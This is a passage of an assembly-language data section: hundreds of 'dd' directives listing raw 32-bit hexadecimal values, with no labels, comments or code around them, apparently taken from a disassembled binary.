dd 0F704F030h, 270198FBh, 0B197DFA3h, 8C37A73Dh, 390BD204h dd 4CA0A0C3h, 911ADD00h, 8CFCF422h, 26B72C6Fh, 0EC408054h dd 3D6C489Ch, 0AA1DDEB8h, 6080CC9Dh, 699A5694h, 8E4A0027h dd 7C616554h, 0F300E309h, 0D5CD9226h, 1E24659h, 7B300FDFh dd 6074548Fh, 283CC9C6h, 53948078h, 4C85DBFEh, 0D511F9Ah dd 32B940FCh, 1A4179A1h, 27AFA200h, 613495Ah, 4D613ED4h dd 3D8FFF80h, 0B9871768h, 3964A500h, 0E922FEF8h, 95455097h dd 0C1BC0019h, 0F127BBC7h, 0DA0ECACBh, 0C1E7A1FEh, 0B86B4183h dd 28BE6F70h, 1A0067Bh, 0B2D31144h, 318FB3D1h, 0D436DD00h dd 4C0076DCh, 5073A66Dh, 25BD9F3Ch, 20001C58h, 818EF137h dd 481FD8E0h, 454BDC8Ch, 6DA982FEh, 593460D0h, 0CDF90089h dd 9E63F88Bh, 302C0C37h, 2605875h, 1AE20DBh, 29549F04h dd 40CC2157h, 7C4773C6h, 89E790Ch, 1F90A802h, 0EAED61h dd 18460FFAh, 0B33BBA06h, 0C6EF8336h, 0E2DB05D0h, 4F056h dd 8C122402h, 288F1D6Ch, 0FC09C003h, 8A363E7Eh, 0B97C60D5h dd 0C730170h, 8C3FAA27h, 0D9B880C1h, 0EC3B60FDh, 77090DFh dd 0FE575F35h, 0B167000Ch, 52269FBDh, 3608CC1Fh, 0FFA15047h dd 0A6FE6E03h, 8AF1839Eh, 0B918E021h, 3CF001E9h, 6E9138D3h dd 9AEED856h, 0BD494E07h, 80A94B5Bh, 0B0B869B5h, 79541DB9h dd 763E005Ch, 9728F1E7h, 96877B01h, 0F899AF9Bh, 4CCD6870h dd 1402A4DFh, 0CBDAD6DDh, 8FC63200h, 4B3A4069h, 80112600h dd 37392EAEh, 8BC09E89h, 428047DFh, 0C65E22C2h, 0F97BDC02h dd 0E11DCE77h, 5C7CAB9Ch, 0E1F17D00h, 1557599Dh, 3F57700h dd 1A6D18FAh, 20274A45h, 67435800h, 0F068B000h, 0C233905h dd 0EDF60066h, 2C0D7DC1h, 0B471DA19h, 219B3E24h, 0BFD86E01h dd 28283254h, 0D100EA20h, 97B02018h, 70F8C2h, 8E1BCB31h dd 53B97643h, 5ECE171Ch, 3B00CD56h, 183635F5h, 0DC2E2CFDh dd 0BE461C7Ch, 0C92F1Eh, 71A9AFA7h, 6A30BB69h, 47EE10DBh dd 0D7730090h, 0F905136Bh, 674E2CDAh, 0A10DB405h, 7B520B4h dd 6657381Ch, 0B789C09Fh, 0C75E3FD4h, 153E1800h, 8FA1CBh dd 4E51560Eh, 0AADCCC3Ch, 60774525h, 0F09B9Ch, 0CA392AC3h dd 3AF7A8CFh, 129A0801h, 0A07FD860h, 0D173C34h, 0B090274Fh dd 311ED811h, 0B07D732Ch, 60230C82h, 1845004h, 0F54DEF1Ch dd 60DE2BAAh, 1201AB2Ch, 5EA859A7h, 65D5EDBAh, 4FE92881h dd 0C0F1A38Fh, 0C33CD4DEh, 9EF91795h, 14B57001h, 246016ECh dd 0CE050003h, 74A6886h, 73007887h, 98C648F3h, 0B0756F2Dh dd 41FE0042h, 89CB4FB5h, 0F7002346h, 0CA66246Eh, 99CB86Ah dd 94A2D94h, 0C134DC00h, 100262A2h, 0A36C5FE4h, 0FC07882h dd 961D5DA6h, 622B2020h, 0B008970h, 0E6E733EDh, 96EA3F42h dd 0CCBC00ECh, 6FCEF42Dh, 0E548AD77h, 0D9290FD4h, 30295369h dd 77D58ECh, 0F3430E2Eh, 0DDDF4020h, 0FCF3040Bh, 6B00B5B9h dd 59A6A13Ah, 2A6A28h, 0CCE47C01h, 1F168FC3h, 76C2F102h dd 48968149h, 38F62B08h, 0BD3A35FDh, 2A484784h, 0E264CCA6h dd 6049F200h, 0F2CD440h, 0A9C60005h, 0A3B70AC1h, 740553DBh dd 0E02DCFFh, 0EE42CCA0h, 10D5006Fh, 90ADB195h, 0B62F75A0h dd 0E5680682h, 0CD2C0461h, 80AF934Fh, 42F01074h, 0B7641316h dd 45C2D03h, 0A230B1A7h, 0CCFA2081h, 0D0E19B28h, 0C45C2A85h dd 14760031h, 0EEEF5711h, 13F3005Bh, 4760A9C0h, 0A800CE78h dd 1AD21290h, 7422660Ah, 746300BAh, 28B462DEh, 907CEE2Dh dd 7012DD00h, 4DEB8586h, 3E4B00DCh, 0A97C4935h, 0D800BB72h dd 6B48B9BEh, 7B4ADED5h, 7EBA2E67h, 0C0A21DEAh, 0E7EDF513h dd 5E0011B3h, 0AE759705h, 71A8ED2h, 7ABC74Dh, 28F7D08Bh dd 720038DEh, 19EC13B9h, 90AAE3h, 0FD0805Ch, 0B6FB36E9h dd 0FEABDE04h, 0D180B0CBh, 182D86Ch, 958CD087h, 0F9BA13B8h dd 3BD83CD9h, 2C045AF7h, 0A4C09C63h, 727F4153h, 0E2790774h dd 0F073188Ch, 22E38045h, 0F21A993Ah, 493F5A00h, 90D78309h dd 0AE50066h, 23972AB5h, 0AF099ABFh, 0C0FB9DADh, 75CFA4DCh dd 49241363h, 0C39C03E3h, 0C5C0BCE2h, 0E80061A8h, 407DF7BEh dd 0B5C0A3h, 7F312E5h, 2181AFD5h, 0B2775D00h, 604F457Ah dd 7067933h, 85F39E25h, 4227D082h, 8B00C511h, 446091BEh dd 3B97D64Eh, 2D80D4D2h, 50759206h, 35FCDF2Fh, 0FC66CB02h dd 4894F688h, 0BEA06464h, 28987A8Ch, 0E4B83FF5h, 0E9FE2103h dd 7E69612h, 0CF3AF6A2h, 755FE027h, 0C1F01F7Fh, 0D5014174h dd 848131D4h, 3DE46AFEh, 3E0B26C7h, 80EC14E8h, 2B7B409h dd 36F06C48h, 0CD1E1B7Fh, 0F5960FEEh, 56791040h, 71F38AC0h dd 0BC284C2Dh, 9A00223Ah, 33EBEE5h, 5800686Bh, 87F3C10Fh dd 0BCF008h, 0CF208B1Fh dd 394DBFDFh, 904BA03h, 0A0F1EE7Dh, 9D8C75DBh, 0EC1C5C29h dd 6A5E3Ch, 0E386F429h, 268BB247h, 0F0CB2Bh, 0B71D668Ch dd 0C23F0820h, 0DB1580E4h, 632E5FEEh, 5ABE0739h, 34BCDF86h dd 0F6FCC1CBh, 7ACD12A9h, 587B01E8h, 0BA2D6D9Ah, 0A03879h dd 0E206AD82h, 9CE8BBh, 2C91980h, 0EA9BB8B6h, 0A53C9D02h dd 60843210h, 3A8310h, 0B00B054Bh, 9A3D47FEh, 56296709h dd 200D05Fh, 21BCC1EAh, 0B660C604h, 0F0A01869h, 0EB00E519h dd 0E629FA75h, 0F7E9B7h, 0FF6F377Fh, 18283C3Dh, 0B000D571h dd 394C2FCEh, 425448h, 85B35AABh, 3BFAB7C4h, 20B828C0h dd 0D8C6F4h, 0C7FF1279h, 5CFE871h, 0C10D6609h, 6D3C48D1h dd 0C33B0008h, 0E2524997h, 0F4006255h, 4131B89Bh, 0B3F6F0h dd 0D590873h, 0A65A57F1h, 0B21F3EE4h, 0EBC9E2F3h, 0D4848201h dd 1C2454E0h, 0C64C0983h, 6C1F2680h, 0FD3F0645h, 0B2D1FB5h dd 81E250C9h, 0C6C7544Dh, 95CA6870h, 0AC1B2800h, 0E505138Dh dd 779D4D8Fh, 0EC092080h, 9CF47C9h, 0DAE70Eh, 92DC6F23h dd 8D49517Ah, 0C6506540h, 8AB3001Dh, 99FA8FDEh, 4612523Bh dd 20F0D1AAh, 6FA40164h, 5D1FCC4Ah, 0A8F36016h, 17621C00h dd 760EBD07h, 0EF180022h, 0D9332A9Fh, 67773866h, 858DDC0Eh dd 5B65C3BBh, 0BDCBD040h, 71A4B03h, 46BE0B74h, 0C4054E80h dd 2273ABBCh, 23004CF7h, 62324FA6h, 8018B71h, 28497790h dd 22F44DAAh, 0A02F0066h, 1D6A7DFFh, 0C97E9BE6h, 28D65Ch dd 0C30AA825h, 18018E18h, 18C4B2C7h, 0FC799D9Eh, 1FE0C000h dd 3DBEDA3Ch, 1DDE002Ah, 0F4E774DBh, 0DC007AA4h, 2D3AE390h dd 0FFB351Fh, 3E4488EAh, 4282CA00h, 0AF019E02h, 133F5FC6h dd 10800192h, 4F382B16h, 0AA00D9A6h, 0F7A0C625h, 8D759Ah dd 996728EEh, 29DE9D98h, 49205800h, 66066B8Fh, 0B91D121Eh dd 0BC480016h, 5CB17442h, 96A1701h, 1E107686h, 28F3AC4h dd 0FCFFF8A1h, 61C0297Bh, 0B205539Bh, 0FB475983h, 5C15B056h dd 9421C2Ch, 243EBB00h, 0F190E2h, 0EB2AF0D2h, 0A17D7B4h dd 76740898h, 667AFE00h, 9CA50D19h, 70F600C4h, 0D43878E8h dd 0EE48F78Dh, 27BD0434h, 5F60CEF5h, 250543BAh, 0AB2D3B7Fh dd 6F2CE040h, 2DB76350h, 3414AA17h, 0FC3D6B00h, 0DC1D4BA8h dd 31373E84h, 0A42D6505h, 0A084B020h, 6CE2CAE4h, 0BF4A1000h dd 7F525D92h, 7850E47h, 9F0030DEh, 96EBF5C3h, 0F0BB7B2Eh dd 5047400h, 0BADDC92h, 0E4614E97h, 8783B580h, 5B0015A2h dd 0B173F4Ah, 1CACD3h, 11C6840Ah, 26538112h, 0C1857C00h dd 3FA1F177h, 0B0A71A4h, 7504E38Dh, 2F6F7C90h, 48407600h dd 491D07E0h, 854E0017h, 28ED948Ah, 8138A3A9h, 735D8040h dd 0EFF41FA8h, 9DDF610h, 0C5FB32F6h, 0BF60A780h, 91FBEADh dd 0A6C0A79Bh, 0D29E5A19h, 2EBC0098h, 3374C3FBh, 0F400EF7Dh dd 0F523B94Ch, 4CFFD2Ah, 227081D7h, 291D8034h, 390073B6h dd 9BBDE4EFh, 0B9A4165h, 8C97032Ch, 0F0249CC0h, 0B899C101h dd 0B7184C51h, 82470h, 0D5B05C4h, 2F3B86F9h, 0DA591900h dd 0E1700BEBh, 67780185h, 345E29AFh, 0F073D109h, 0EB00C3BDh dd 0B3FC7E46h, 0E9E1423h, 0F293A0A1h, 4F3B8860h, 6800CFFEh dd 61DC012Ch, 26ADA583h, 1284D319h, 8FDCF0A2h, 1AF61877h dd 0E3B13200h, 0D036C9D1h, 0FE6A3DD6h, 0FB300073h, 7C910B57h dd 20FD7911h, 0E603D31Ah, 869DD73Ch, 838C0B16h, 0C0C0FAC1h dd 1C0031CEh, 0F3DE1518h, 979664Bh, 97227DB9h, 0AAF0405Ah dd 0A129E500h, 7B2B0281h, 553C006Fh, 348DC35Ch, 84009841h dd 0B9F231AFh, 0FA1A0A97h, 7EC200ECh, 85A7D925h, 7B0707F6h dd 9D5F66BEh, 0C00F92DEh, 0BC5E6198h, 1C740931h, 1CB300EFh dd 6135862Dh, 0E71F8BB9h, 0DE2716B1h, 9D730E58h, 5DBC9998h dd 0B022620Eh, 0C648A023h, 0E1C1632Dh, 55260028h, 5935187Bh dd 712060C9h, 91113981h, 0E040D437h, 0CF54F48Ah, 0A52D7A06h dd 0F4613CEBh, 63750F4Fh, 53E05BA0h, 5E57ABB7h, 250AA9E6h dd 342CFAB4h, 8334C508h, 8A7190C7h, 36A191E3h, 0C9080BEh dd 0EE88ACD9h, 6376F5h, 745E4850h, 4B711530h, 0C27BE00h dd 3B4C66D8h, 41C80012h, 781D0635h, 0A2004090h, 0EAEFB06Bh dd 74B6EBh, 5AC3AA3Eh, 0A48D7AFDh, 5B23E000h, 12280867h dd 1AF60C7Ch, 0D1A1301Bh, 39B68900h, 0D5F9DF9Ch, 810A0013h dd 1BE13293h, 95003D9Fh, 3AB8C7BCh, 0CB73B4Eh, 121D11F3h dd 9B337541h, 0B89FF87Eh, 7447A041h, 7D4B5Eh, 7EA3605Ch dd 7006D87h, 88ED5716h, 14218518h, 0E0E45E09h, 65541C05h dd 5AF42026h, 9B03D3ADh, 27180BCh, 580930C1h, 0D3C4FA21h dd 594B7200h, 0F996AE25h, 41300CABh, 15992B71h, 4EFC8D78h dd 4F110360h, 28B9FE0Bh, 1DF40D6Ch, 1860F574h, 34221F7h dd 32BDFE00h, 5F0AED2Eh, 0A9350677h, 0B084AFD0h, 0D8103F0Ah dd 17448464h, 0B17E8D60h, 3D6FA923h, 35766E44h, 0E320BE00h dd 1CFB51DAh, 54B0D046h, 8C5DB8h, 0C01D8CFh, 9ACD90EFh dd 3F25A00Dh, 0F0D0988Bh, 0A84C60D0h, 509DB3AAh, 0E2003176h dd 0F29EAB34h, 0ED1E5Fh, 0AC4452B5h, 3AF3808Ah, 0BF70A500h dd 0D1C02537h, 0DB6A0FE3h, 3EC1FE5Ch, 0F4D7D0B8h, 0A00B7CCh dd 9AE42008h, 0A774D3h, 5B03727h, 0DEE764F2h, 0E998258h dd 201D26D2h, 423EE37Ch, 987E00A5h, 87310DFFh, 0DD3C2D4Ah dd 0B7AD035Fh, 80400936h, 3873A650h, 0C503239Eh, 7E3F5326h dd 9DF58CC8h, 3A967F00h, 0E6E4BCEBh, 41780E42h, 0C2E0AB46h dd 7526D0F6h, 0DF96E30Fh, 0D8808064h, 0F8E160Bh, 0D0157499h dd 204CA4E0h, 0E000B6BFh, 45607F9Fh, 0BC7246h, 2AFEA0D3h dd 4396CBABh, 6BB9D200h, 0E89DAD1Bh, 80F1541Eh, 0D004A5D3h dd 0E460733Eh, 74878B10h, 97D80063h, 0A1D51868h, 467C2840h dd 6D3ED600h, 7770CA19h, 4414A148h, 4F444508h, 94228481h dd 21404275h, 11423F69h, 9C1186B4h, 1C641117h, 3C1A2911h dd 8498C447h, 1D11C842h, 7BBE111Bh, 0C2087421h, 8431901Eh dd 0F0487CB5h, 98F8DC47h, 0EB9E79E5h, 6957EF00h, 7926CB27h dd 537E0018h, 959C2456h, 8A5CE768h, 0F7DB00BBh, 4D90386h dd 0DA3504CCh, 0C0D2EA5Fh, 9846C666h, 22B540Eh, 7E403D10h dd 7821078Dh, 0A1770016h, 0CB55E9Eh, 813FE98Eh, 4500754Ch dd 73C83325h, 0CDCCF6h, 0A47CF443h, 0D84D17FDh, 715C5300h dd 3814A033h, 319B016Dh, 0E10B0A59h, 0A5D4C860h, 0B21FACECh dd 779CE4BBh, 4F5B8C2h, 0A8004B06h, 0F1EA54h, 342D1845h dd 0EBD82A8Ah, 56BD5100h, 0B77E4271h, 0EEC84852h, 64866A3Bh dd 4026D89Fh, 8E00237Ch, 62B34BAAh, 9EA97Fh, 76697443h dd 9007597Ch, 0EB7519E6h, 1184F01h, 8B72E65h, 0AD6E9040h dd 2476DCh, 738DE4E9h, 38A8ACBAh, 0C086FC00h, 1D3D8357h dd 5068033Ah, 8EB12814h, 0B7BDEFB8h, 9853B528h, 0C5CD3B03h dd 691E70h, 0B86D5A10h, 0D0E7B67Ah, 164D011Eh, 59D82E40h dd 1D057136h, 40623807h, 0B4DE23B2h, 4E074239h, 5EA10A11h dd 0BBE06C97h, 0E59CB19h, 0E4C485C3h, 2BFCB940h, 0F403D053h dd 7CFA05E2h, 0AC04979Bh, 0F07FFCC0h, 0B14B1D7Ah, 0BC8E14DCh dd 0CD739500h, 521A3704h, 0C5003878h, 0D36AE2E3h, 979639h dd 109D99ACh, 8191B187h, 0DF67A900h, 0CEB6DCD4h, 0A52B0538h dd 42115A1h, 81E144B8h dd 0C42F9E84h, 3600A439h, 4E863F5Eh, 0D8018Ch, 0C5F8701Bh dd 7AFC78F9h, 235A470Eh, 0BA2160A7h, 338B950h, 0DD7CACDBh dd 0A0C87FF5h, 0D1179B96h, 9006660h, 1246801Eh, 765400C4h dd 53B218CEh, 9500E2FDh, 51BC0CC8h, 0CCC95Ah, 34C7581Fh dd 83988D71h, 0FD014490h, 634512E8h, 0A9C0BD0Fh, 0DCB90DC8h dd 89760CD0h, 80DB15A8h, 9038040Fh, 278B00CFh, 1CE2B3AEh dd 0D628290Ch, 627CB59Bh, 0FF91C409h, 0DE3C016Fh, 725F2h dd 0CDB98EC9h, 4400EE79h, 0FEFD486Eh, 428CCFBh, 0D0C30C8Dh dd 10088059h, 38009C34h, 0F41BC756h, 1B0411Ah, 149A7771h dd 0FA57BB22h, 0EDD55840h, 93041B7Fh, 96F2D946h, 590ECEC0h dd 0EB0FC3Fh, 73DE2411h, 0BABDF020h, 0DDE6307Dh, 80FB4B51h dd 0D32EE2E0h, 0E3A458A6h, 0A35EE8h, 82308C5Dh, 740D8972h dd 65512E0Fh, 0F36E631Ch, 607592D0h, 9AEA72C0h, 0D8842Ch dd 4BB851CDh, 0EDCA3886h, 8350DC6Eh, 0E0C2AC9Eh, 0E0517Dh dd 2D9CA068h, 49736255h, 0B5EE7112h, 8005C449h, 0C5445934h dd 1B8B0365h, 94E230A5h, 0F4C7F399h, 7607E59Dh, 8543D562h dd 0B9E80059h, 4C2EE7CAh, 0F112D741h, 0DD5400FBh, 0FFFCAA04h dd 808B103Bh, 0BBF0C51Ch, 0EC9185h, 269BA9CDh, 2578C70Bh dd 8A00207Bh, 1E10CC42h, 9AF5BF06h, 0A67A0070h, 0B224E857h dd 9D7CA385h, 0A42A500Ah, 2C0EB015h, 36066095h, 0A45B6h dd 0E04275F5h, 0DBF3F7F2h, 6B569F00h, 7FAB4ED8h, 0A27600BAh dd 0D9719C91h, 8F07C72Ah, 0EE7BE6D2h, 23DBF4E0h, 82E21Fh dd 0D328B390h, 429A0449h, 0E9157200h, 950E1276h, 0B7E30014h dd 0CFC2DC85h, 4A00C1ADh, 8DA97E6Bh, 12A7C616h, 0E0E49Bh dd 57615440h, 48005EE5h, 0AC11DA2Ah, 270DFEh, 1EA61694h dd 0BF95EF89h, 0A800B798h, 6AA7777Bh, 0D0DFE3h, 0D4BBE75Dh dd 0AC25AD7Ah, 0A4851807h, 1C600AB0h, 0FCC8B1h, 2D837ABh dd 36985B9Eh, 15D2F60Fh, 0A8CB0A94h, 9CE70B00h, 12144B80h dd 676166h, 0CF01E660h, 48002D0Ch, 5199A9DAh, 0B7F7D8h dd 936B9E53h, 9084D0B3h, 98CD4100h, 0E80D18B1h, 8E710EFCh dd 7929480h, 402696C7h, 0E70EFD39h, 5AF83Eh, 0A3615206h dd 0EEB3808Dh, 9F3B0124h, 8363AAB0h, 46CC249Bh, 2F0B5470h dd 215F3F95h, 0EED75E2Ch, 5787B980h, 0CC2DEDB3h, 0AAFBC102h dd 60C38C8Ah, 1D020BC4h, 41EB4547h, 3CB77659h, 0E67ADC0Ah dd 8794CD0Eh, 0FEF60A1h, 1DDD0CACh, 86BE86C2h, 19E2D181h dd 62348202h, 60472C28h, 6E8AFEh, 48F7531Ah, 33819BE8h dd 0A800D27Dh, 0B88872A5h, 0E2CC8ACEh, 0B982009Ch, 462BE8BEh dd 0A0B039A0h, 0CCADD828h, 0A8AA5700h, 9C53E4EDh, 5FC83811h dd 71884500h, 12BF682Eh, 59500100h, 48EC021Fh, 0EA60E67Dh dd 194E0207h, 0ADE71A8h, 40F9FCC9h, 75968AF7h, 0CD7E4BB0h dd 0EE887900h, 2C9BE118h, 0F48E7B6Dh, 62B13E89h, 8604B981h dd 0D4EBB381h, 0D100F942h, 679A4B38h, 1FC1ABh, 0B99F33E9h dd 8B992744h, 0A5223100h, 0B50B3F77h, 76C01224h, 0B4604B43h dd 0BEC62880h, 9CC1C9E6h, 856E9ECBh, 87B6F4h, 798F297Dh dd 1B18C59Ah, 8171C07h, 3100054Ah, 69093Bh, 434ED935h dd 8371CA4Dh, 0FC94AA50h, 67BA4909h, 9AFC204Bh, 48707590h dd 38005062h, 0F5655C0Fh, 1C00C064h, 12F30586h, 882930h dd 0A3A017EDh, 1336962Ah, 50EA7F4h, 8177E4A1h, 87501EDDh dd 7894F0h, 8B69A037h, 0FF5596EFh, 0F43AF200h, 0DF2DFA30h dd 53290024h, 0B6999C7Eh, 0CF00F6D3h, 4F8C9EE6h, 0A13146h dd 27BD1E91h, 0C76186DEh, 0E212C100h, 7B682CC3h, 9B040EA2h dd 27639567h, 0FBC080EDh, 0F0002ECEh, 0C07B5B60h, 163C3B7h dd 27FE0C40h, 0C83067DFh, 85008AAFh, 0E1025BAh, 1969F0h dd 605FC4DCh, 6590EED5h, 0C499012Ah, 32AD081Eh, 0D9BFB00h dd 1397B5FFh, 0EAA92E2h, 0D4C0CA6Ch, 80DE66CBh, 0B84E43Dh dd 207EEBB2h, 181C2064h, 0FB4E1409h, 0E8158702h, 6004C4DFh dd 0C2FD2FDEh, 2DE0ED24h, 6701E336h, 5EE14610h, 56F40C78h dd 2DDA0780h, 701AEC6Ah, 242C6258h, 0F8C384Ch, 8FB74E99h dd 3C8BE0F9h, 955BBBh, 0D7D0EFDFh, 0B8EA5309h, 0B48F49h dd 693CF239h, 0BA1E636h, 0E342D33Fh, 0D00042D0h, 8860A0D9h dd 28D27FEFh, 0F4B164h, 1FBF707Dh, 81CA57DDh, 0B0B5DF07h dd 7CE08355h, 8876C4h, 0BBAC0979h, 0CEAB7752h, 0D50078EAh dd 1017DAE9h, 0E30D98A3h, 1E3068C0h, 0C087F266h, 0B67A4A42h dd 9700E270h, 96C4256Ah, 5D40FBh, 42DA3A2Ah, 0F1EEE001h dd 0AF627C0Ah, 3000C8DFh, 634A3B65h, 0E6560054h, 0D92B3D5Dh dd 3003812h, 0F38D0AF2h, 5E91BA9h, 0EB97CB7Ch, 0FFD8C4C3h dd 0CF348EC7h, 0C1D1B480h, 7E130CA0h, 18C07B98h, 0E9E4AD01h dd 3F4561ABh, 0B0ECD8h, 0AF84B56h, 0FFD26C9Ah, 0A71BE500h dd 0A35B7367h, 0FA2901CDh, 69103175h, 34B0301Dh, 5D6EAF16h dd 0C49CA414h, 3C008D51h, 0AF879565h, 22BEEB00h, 71C585A7h dd 86E33DC4h, 0E0FCB13h, 55E0B140h, 62BF03B5h, 0F1F93013h dd 72056C01h, 0DDC89D5Bh, 8A960137h, 0ACF5B095h, 9880E60Bh dd 0F751DA04h, 3840D641h, 5D962D2h, 985CADBAh, 2074D0B8h dd 42072A5Ah, 44456BFEh, 5FE6607Eh, 1CDD4C54h, 0E554968h dd 0AEC0A53Dh, 0AF08A29Ah, 7CBFC514h, 0FE400598h, 8490EA0Eh dd 3C118D27h, 88802038h, 0C56F9550h, 73011E5Bh, 0D6D244DBh dd 64E4BED9h, 50D14870h, 0F8992C75h, 0F61C818Ch, 0D02E9A8Bh dd 2133753h, 0F45F09E3h, 5145100h, 7A940DC0h, 4E520B89h dd 82004D53h, 813BA110h, 74BA720Eh, 0FA6C0048h, 1FE7B2B4h dd 0C3ADAC05h, 0E4F2E6D5h, 0D7489980h, 0C0420F2h, 0F8F92D49h dd 0CB7744C0h, 968FF64Bh, 424A01E8h, 0ECB1AD70h, 30002B05h dd 8CF6E1BBh, 5CD8D0h, 7BA4C4C8h, 716F2831h, 0DDAF3D00h dd 25D7CAA6h, 0A21E0356h, 42C0225Fh, 0ADAE46E8h, 0C95878B8h dd 814003F4h, 0FFDDEF03h, 714F0EC1h, 17C5C20h, 5931A8A4h dd 0E84D7F66h, 0F218C92Ah, 5A9884Bh, 65B90050h, 2C912F8Bh dd 6200950Ah, 0DC928D3Dh, 0F31E221h, 0DA26EB7h, 0CCB825h dd 0A980BD9Bh, 4E01C8A4h, 728B98D8h, 838CAF3h, 711C5707h dd 3DFE20F1h, 0BA0131BDh, 6ED2541Eh, 1C74CD03h, 32131B9Fh dd 63A9E0CFh, 8D20644Dh, 670AFBB0h, 0D818AF51h, 53A6AB00h dd 2CEC2B97h, 24CFEC1h, 0A2BD13A3h, 7D129160h, 0F85C917Eh dd 80B939DEh, 0CD7B3DF4h, 0BB19D89h, 181DC8FAh, 4C5F6020h dd 3B1E5BDBh, 0B00F5FFh, 737D79E1h, 0A15400B6h, 0C2845D32h dd 0A8CF27D4h, 89334104h, 75C4F055h, 1FF70063h, 4D0F3D81h dd 0DB1D9843h, 0B9003930h, 7BF29C9h, 0E864009Ah, 91FABD1Ah dd 19007778h, 0B59D3CEDh, 3EB310C1h, 0A0879B96h, 0F0C2AD0Bh dd 7FE94ECBh, 0E2C9BB00h, 0AFB38241h, 4CD5EA5Ah, 0F308C49Ah dd 3302D328h, 80D85D44h, 0A10F10A4h, 0DDBCA061h, 509D799Ah dd 31D5F1h, 0FB8A25DEh, 0DB87BCB7h, 76C8B300h, 0AEB1EFBDh dd 28A00003h, 239B396Ah, 0D30764B5h, 195404Ah, 4B515BC0h dd 0BAB10298h, 0C97366D6h, 2BAB4C40h, 76529710h, 55CFD200h dd 78537B4h, 99DDBB00h, 65AA172Ah, 0CBEA05h, 0B902C03Ch dd 6B22D93Eh, 3FEA5B00h, 8DBCFE08h, 15C700F6h, 0A7D393B1h dd 8F20233Eh, 0F976F7h dd 861678A4h, 9A1D1922h, 0F1D35D00h, 0C5FA91B5h, 0E49C004Bh dd 71B80B7Dh, 0C03AE5AFh, 99B694C4h, 3B843998h, 2136008Eh dd 9FF331C7h, 2027006Dh, 0F9FFFE7Eh, 8CB4D865h, 30D3071Ch dd 0AE97B842h, 632B2061h, 5110C522h, 7704A032h, 0A0211B01h dd 9F019E00h, 0D94C0899h, 7BE88002h, 0C9A80089h, 1B4FC1BCh dd 0BC927A70h, 5E07CCFCh, 1E97AC9Eh, 12C30E70h, 45C49941h dd 9013817Fh, 0F844027h, 171737C4h, 380081C1h, 79B0989Ch dd 72C9F9BBh, 60C390C4h, 15F3C8ECh, 90B190Ah, 80F6174Ch dd 565E5D5Eh, 466500DCh, 0A53CFA3Eh, 101D02A4h, 0B440E092h dd 0CB9DF774h, 0BACF01EEh, 53A5D0E3h, 2AE991DAh, 0B56A8200h dd 0E8102BD7h, 15033C00h, 0D82866DBh, 0C6C8071Dh, 60F257EDh dd 50D41A84h, 0E9965102h, 42A35C8Ch, 2440D26Bh, 95640781h dd 2700F0E5h, 0D94541BEh, 9405FECEh, 515AE818h, 0A13EE687h dd 0C440A19Fh, 1D16AE8h, 6C6EAE0Ch, 50208EE9h, 0ABFC68E0h dd 666F0616h, 9A310040h, 2E3C2907h, 8310946Bh, 68CF14AFh dd 0C9DA2003h, 978660E4h, 4368A7C9h, 6ADE33E0h, 2A3500BAh dd 97705CF1h, 50009DC3h, 0D07C7574h, 276484h, 0CA492BFDh dd 8EC8B715h, 66119E00h, 466A3997h, 0F2480FD3h, 4E400992h dd 0E660EA96h, 0D4820124h, 3903B026h, 0A8FDE744h, 1CEA2751h dd 45015663h, 0C0526857h, 0C2DE2FCDh, 810EA302h, 407A92B6h dd 0CFDFABh, 2A9DDCB4h, 0C6F68F25h, 0D746100h, 5F30668Bh dd 4EC0060h, 460FF748h, 68003C3Fh, 0AA59BCEh, 1ABE5DAh dd 97E144BBh, 0D97A3809h, 2398E05Bh, 7F6FC20Eh, 0EF00BD31h dd 3326E2BFh, 363D0396h, 5F6DA47Dh, 944852B2h, 0E8921CD8h dd 92809094h, 0AA20ACE7h, 3B0E7EAEh, 13740488h, 40CDD2B6h dd 0F6FB8114h, 250B46D9h, 8066A724h, 9E847C6Ah, 8CB84C6Ch dd 47003F58h, 7F19C336h, 0CC730D3Bh, 76CDC00h, 0F745D951h dd 0A4970004h, 81A03EE6h, 3401C40Bh, 5E79D3AAh, 0C02F4A4Bh dd 9BAF692Ch, 512F9800h, 682CB566h, 0F47B00B9h, 0D9DBE806h dd 9100ACB4h, 79EA2846h, 3A6551A8h, 528081FCh, 56CD0F83h dd 780F9AE3h, 0A002C348h, 0F41E5362h, 0EAF843h, 0B74C6E68h dd 0D9600F8Eh, 0F113641Dh, 1E00B493h, 1FBFD118h, 0E1CCF42Dh dd 0FC70E30h, 0B26591D4h, 8DEA0052h, 0B306217Ch, 8118553Eh dd 0C4D3BF64h, 7E30FB87h, 99D000F3h, 0E0A6EA17h, 68C0A504h dd 57144692h, 4E6400A2h, 0A4EC2DD0h, 6D0967DAh, 804B2CCDh dd 2E260C48h, 0A7FE18h, 0A8297B53h, 0CF7081A5h, 518E2301h dd 0D7EE88FEh, 0FD28B0C3h, 0FA080029h, 9CAC2512h, 4901B1E5h dd 7C55E8B9h, 0BED08156h, 1CC10030h, 0AB4F884Dh, 39004E94h dd 712F7A5Ch, 4008A6h, 33CF98B5h, 0FB446B4Fh, 2E003BF8h dd 0AA804103h, 4C6140h, 95F92BC2h, 0B5F4E136h, 49C11600h dd 6E8F1ECEh, 0B47801h, 65565D0h, 0CC36FA95h, 73F8A248h dd 0DC75EF0Eh, 96CFE09Bh, 721665Ch, 8C01E37Fh, 0A58400DBh dd 0D500A919h, 96B6FAC6h, 145A3CD9h, 0F0063F7Bh, 0BC096714h dd 0BF461F00h, 0B4B29B97h, 6953FA00h, 478B74A9h, 0D5D948E9h dd 9D1E283Bh, 0D75F86FBh, 0CB004053h, 61C899C4h, 17CADCh dd 35DF7852h, 0C7C559C0h, 0FB794203h, 0F98C95F8h, 1820F0FDh dd 3DF5E218h, 37005752h, 1EC324DDh, 0F40056FEh, 6F389D4Bh dd 91024Ch, 0EA49C28Ah, 8E4ACF87h, 0B9A09560h, 0F01D8592h dd 1E1B00A3h, 0B6AF07A2h, 0B70024EDh, 33B43004h, 761935h dd 0BF86083Dh, 0B051E82Dh, 5CB91E00h, 3AF30BA9h, 8643990h dd 786624h, 0A6C00AF4h, 0E0006782h, 9414E475h, 308DC2h dd 275EFBB2h, 295CB4A1h, 0DD53E03h, 883A14D6h, 1EF8538Bh dd 407D8D18h, 595A964Dh, 0F900C976h, 6C4C2D2Ah, 0E22137Fh dd 407B7AB0h, 0F59E0620h, 8D002BDEh, 4B48A43Dh, 83C4DAh dd 0AFFE75CBh, 1CC6E625h, 3F7F4AFCh, 110C8F1Dh, 15F17C80h dd 90BFB40h, 45711974h, 0D561B801h, 578C20E5h, 8F072212h dd 7C7CD714h, 0BB17D100h, 3479CDEFh, 